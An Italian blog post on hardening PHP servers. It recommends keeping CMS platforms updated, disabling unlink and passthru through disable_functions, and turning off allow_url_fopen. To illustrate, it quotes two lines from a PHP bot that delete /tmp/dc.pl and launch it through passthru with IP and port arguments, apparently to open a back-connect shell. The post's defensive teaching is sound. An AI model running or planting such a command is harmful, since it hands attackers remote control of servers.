Sulla scia dei precedenti post dedicati alla sicurezza lato server e lato applicativo continua la serie di articoli focalizzati sulle best practices per la messa in sicurezza degli ambienti operativi delle applicazioni web.
Abbiamo visto come la principale porta d’accesso offerta ai cracker sono molto spesso configurazioni errate dei server o gravi vulnerabilità degli applicativi. Considerando a titolo d’esempio un server che ospita un numero variabile di blog WordPress o portali costruiti con Joomla o con qualsiasi altra piattaforma di gestione dei contenuti, una singola vulnerabilità presente su una di queste installazioni può spalancare le porte ad un individuo malintenzionato, cracker o script kiddie che sia. Perchè esistono queste vulnerabilità? E’ necessario considerare non solo gli exploit 0day ma anche e soprattutto la presenza di applicativi non aggiornati all’ultima versione più sicura. Facciamo un esempio concreto. Attualmente l’ultima versione stabile di WordPress è la 3.1.2. Il numero di utenti che per negligenza, per pigrizia o per semplice paura di perdere le preziose personalizzazioni del proprio blog trascura volutamente gli aggiornamenti vitali della piattaforma è elevatissimo. Saranno proprio questo tipo di situazioni il bersaglio preferito di chi ha intenzione di danneggiare il lavoro altrui utilizzando un exploit pubblico per causare i danni più svariati alla piattaforma bersaglio. Quali sono le tipologie di attacco più frequenti? Le applicazioni PHP e la struttura sottostante possono essere colpite da iniezioni iframe, remote admin e shell php, php mailer e infezioni da bot IRC. La pericolosità di queste minacce varia su una scala ben precisa e sarà spesso la configurazione del server che ospita l’applicativo a fare la differenza. Se l’utente è poco sensibile agli aggiornamenti del proprio applicativo è possibile perlomeno limitare i danni di un exploit seguendo delle buone pratiche di hardening della piattaforma sottostante, ovvero il server.
Php è uno dei linguaggi più utilizzati per la scrittura di sofisticate applicazioni web ed è proprio la potenza di questo linguaggio una delle fonti più prolifiche di grattacapi. Qualora venga permessa l’esecuzione di particolari tipi di funzioni contenute nell’interprete, funzioni ritenute “pericolose” non intrinsecamente ma per la grande interazione che potrebbero offrire ad un eventuale attaccante, le potenzialità dell’applicazione potrebbero rivelarsi un vero e proprio boomerang per la sicurezza del sistema ospitante. Un esempio? Le funzioni unlink e passthru.
Con due definizioni estratte direttamente dal manuale di Php, unlink e passthru permettono rispettivamente di : eliminare un file ed eseguire un comando esterno, che può essere una shell di sistema.
Disattivare queste funzionalità è vitale, a meno di non avere specifiche esigenze di programmazione che ne giustifichino l’utilizzo. Non a caso unlink e passthru sono due delle funzioni più utilizzate all’interno dei bot Php ed in genere da tutti gli script maligni che possono colpire ed attecchire su un sito web. Dopo un attacco riuscito con successo lo script malevolo può utilizzare unlink per eliminare dal server eventuali tracce sospette e successivamente fare uso di passthru per eseguire a piacimento una serie di comandi lanciati attraverso una shell di sistema. Ecco un estratto di codice recuperato da un bot PHP relativo alla funzione unlink :
if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
e passthru
passthru("perl /tmp/dc.pl $ip $port &");
Per inibire l’utilizzo delle funzioni citate è possibile specificare all’interno del file di configurazione dell’interprete la direttiva disable_functions (vedi immagine sopra) seguita dall’indicazione delle funzioni che si desidera disabilitare.
Oltre a disattivare le funzioni Php più a rischio è possibile aumentare la sicurezza del linguaggio utilizzando la direttiva allow_url_fopen. Impostando questa funzionalità su Off impediamo agli script Php di interpretare gli URL come se fossero file. Così facendo è possibile limitare il raggio d’azione di eventuali script maligni il cui scopo dopo essersi installati sul sistema potrebbe essere quello di recuperare ulteriori file nocivi.
